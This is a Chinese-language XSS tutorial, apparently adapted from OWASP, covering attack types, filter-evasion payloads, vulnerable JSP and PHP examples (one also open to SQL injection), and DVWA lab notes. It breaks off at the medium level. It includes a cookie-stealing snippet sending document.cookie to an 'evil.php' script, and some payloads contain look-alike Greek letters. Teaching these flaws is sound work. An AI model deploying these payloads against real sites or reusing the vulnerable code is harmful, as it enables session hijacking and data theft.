overview:
跨站脚本攻击也是注入攻击的一种,他将恶意脚本代码注入到原本良好的被信任的网站代码。攻击者利用web应用来发送恶意代码,通常以一个浏览器端脚本的方式,来呈现给不同的终端用户。该缺陷非常普遍使得xss攻击成功,当一个web应用使用来自客户端的输入,而且并没有做任何检验和编码时。
可以使用xss来发送一个恶意脚本给不知情的用户,终端浏览器无法知道该脚本是不可被信任的,并执行了它。恶意脚本可以访问任何cookies,会话token,更高的权限或其他当前站点重要信息。这些脚本甚至能重写HTML页面的内容.
description:
当如下情况可能发生了xss攻击:
1.当数据通过不被信任的源码的web应用程序,且有频繁的web请求。
2.数据被包含在恶意动态content发送给web用户且没有经过确认。
发送给web浏览器的恶意内容通常携带这一段JavaScript片段,HTML,flash,或者其它类型的浏览器可执行的代码。基于xss的各种攻击几乎是无限制的,他们通常传输私有数据给攻击者,像cookies或者其它会话信息,引导受骗者到被他们控制的web内容上,或执行其他恶意操作在用户的机器上
存储和反射XSS攻击:
xss攻击通常分为两类,存储型和反射性,还有一种更著名的的叫做基于DOM攻击。
存储xxs攻击:
这类攻击把被注入的脚本永久存储在目标服务器上,例如数据库,消息论坛,访问日志中等,当受骗者会收到恶意脚本从服务器上,当请求存储信息时。存储型xss也叫做持久化或一类XXS。
反射型XSS攻击:
这类攻击把被注入的脚本反射到web服务器,比如一个错误消息,搜索结果,或任何其他响应,包括部分或所有的输入信息作为请求的一部分到服务器进行响应。反射攻击传递给受害者通过另一种途径,比如一个邮箱信息,或一些其他站点。当用户被欺骗去点击了一个恶意的链接,提交了一个特殊的精心制作的表单,或者只是浏览了一个恶意站点,注入代码就会传播到易受攻击的网站,并映射攻击脚本到用户浏览器上。浏览器会执行恶意代码因为他们来自被信任的服务器。映射xxs也被称为非持久性或二类xxs。(即恶意数据嵌入到页面后会紧跟请求立刻返回到浏览器)
其他类型xxs:
还有基于DOM XXS攻击,存储和映射型xxs数据是基于服务器的类型,DOM是基于客户端的类型。
使用js里面的document机制。
被xss攻击的后果:
xss攻击效果都是一样的,不同的是如何有效的负载到服务器。不要简单的认为“只读”或者“小型”站点不易受反射型xss攻击。xss可导致多种问题在终端用户,许多严重的xss攻击会泄露用户会话cookie,允许攻击者劫持会话和用户账户,其他危险的攻击包括浏览终端用户文件,安装特洛伊木马程序,重定向用户到一些其他站点,或修改展现的内容等,
如何确定你是易受xss攻击的:
web应用比较难修改或移除xss缺陷,最好的办法是执行代码安全检查和所有来自http请求会被入HTML输出的位置,以此来找到易受攻击的缺陷。注意那些不同类型的HTML 标签能被用于传输危险的JavaScript。Nessus, Nikto, 或者其它一些工具可用来帮助扫描网站的缺陷,但也是比较浅显的问题。如果网站的某部分是易受攻击的,那很可能也存在着其它问题。
(摘要:HTML作为一种超文本标记语言,通过将一些特殊字符来区别文本和标记,如<被看做HTML标签的开始,<title>和</title>之间的字符是页面标题等,当动态页面中插入/输入的内容还有这些特殊字符,浏览器会将其误认为插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。)
如何自我保护:
关闭http trace支持在所有的web服务器上。攻击者可以通过JavaScript窃取cookie数据,即使document.cookie不能使用或在客户端不被支持,当一个用户把一段危险的脚本提交到一个论坛,这个攻击就被植入了,其它用户点击了他,异步http trace就被调用然后从服务器收集用户的cookies信息,然后攻击者就可以解除会话,这可以通过移除http trace支持来缓解这一点。
非常规XSS语法:
在脚本属性中的的使用:
xss攻击可不使用<script></script>标签执行,其他标签也可以执行,例如<body οnlοad=alert('test1')>,或其他属性,比如:鼠标经过,错误报错等。
鼠标移到目标上:<b οnmοuseοver=alert("wuffff!")> click me it</b>
报错信息:<img src="http://url.to.file.which/not.exist" οnerrοr=alert(document.cookie);>
通过编码URI Schemes:
如果需要隐藏web应用的filters,我们可以使用编码字符串,例如a=A(UTF-8)并使用在IMG标签:<IMG SRC=jКvascript:alert('test2')>
使用代码转码:
可以转码我们的xss脚本到base64编码并替换到META标签里,这种方法可完全摆脱alert(),例如:
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
xss攻击example:
恶意用户可在任何地方发送不受监管的内容到一个正常的网站,来感染其他正常的用户。
ex1:
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
这段jsp代码通过http请求来读取一个雇员ID,eid来展示给用户。如果eid只包含标准的数字那么这段代码是没有问题的,但是如果eid值有跟随链接字符或者源代码,代码可能就会被浏览器执行并显示http的响应。这是一个典型的反射型xss.
ex2:
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>
这段jsp代码将查询数据库,根据给定的职员ID,并打印出该职员的名字。有点类似于ex1,因为name直接从数据库读取,他会导致一些危险,这些内容显然是被应用管理。但是如果name来自于用户提供的数据,数据库就可能导入一些危险的内容, 如果没有适当的输入合法性校验,他将会被存储在数据库中,攻击者可以执行恶意命令在用户浏览器上,这类型叫做存储型攻击,这是很狡猾的一种方法,因为他将数据存储起来,间接导致很难定位到他们,并可能导致更多的用户被攻击。攻击者在论坛发布一个留言板,留言板头目内包含一段JavaScript,然后陆续的访客访问留言板页面并执行这段恶意代码。
从这些例子看出,xss漏洞是由于http response返回的代码中包含非法的数据,有急种情况会导致你被攻击。
1、ex1中,数据直接从http请求中读取并返回http响应。xss利用这种存在,攻击者提交一些危险内容给应用,然后返回给用户并被浏览器执行。大多数恶意内容的传播是将其作为一个参数包含在URL中,以公开的或者邮件形式发送给受害者。这种url的方式是许多钓鱼攻击的核心,借此攻击者欺骗受害者去访问一个鱼饵网站。
2、ex2中,应用在服务端存储了危险信息,这些信息陆续返回给应用并包含动态内容。
攻击示例:
窃取cookie:
如果应用未验证输入内容,那么攻击者可以轻易的访问cookie信息从一个被认证的用户上,
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
以上代码将在“cakemonster”变量中向ev .php脚本传递已转义的cookie内容(根据RFC内容必须在使用GET方法通过HTTP协议发送之前进行转义)。然后攻击者检查他的evil.php脚本的结果(一个cookie抓取脚本通常会将cookie写到一个文件中)并使用它。
报错页面示例:
假设有一个报错页面,他请求一个不存在的页面,出现404,我们可能使用一个错误码来告知用户页面已丢失。
<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
web地址为http://testsite.test/file_which_not_exist,返回Not found: /file_which_not_exist,现在我们试一下如下代码:http://testsite.test/<script>alert("TEST");</script> 返回的结果为:Not found: / (but with JavaScript code <script>alert("TEST");</script>)。我们就注入了一段代码,xss、这意味什么,我们可以使用这个缺陷尝试获得真实用户的会话cookie
常见的一些xss攻击语法代码:https://www.cnblogs.com/black-humor/p/7810920.html
dvwa的xss攻击练习:
low级:
xss(stored)是一个存储型xss攻击示例,模拟的是一个论坛,当输入恶意代码到Message,应用将内容存储在数据库,下次刷新打开论坛的时候将会执行恶意代码。
xss(reflected)反射型示例,提交输入的内容,应用把内容返给页面,页面展示,所以输入<body οnlοad="alert('xss')"></body>到name框点summit后,页面收到服务返回的该该恶意代码并执行就会弹出一个对话框。
medium级: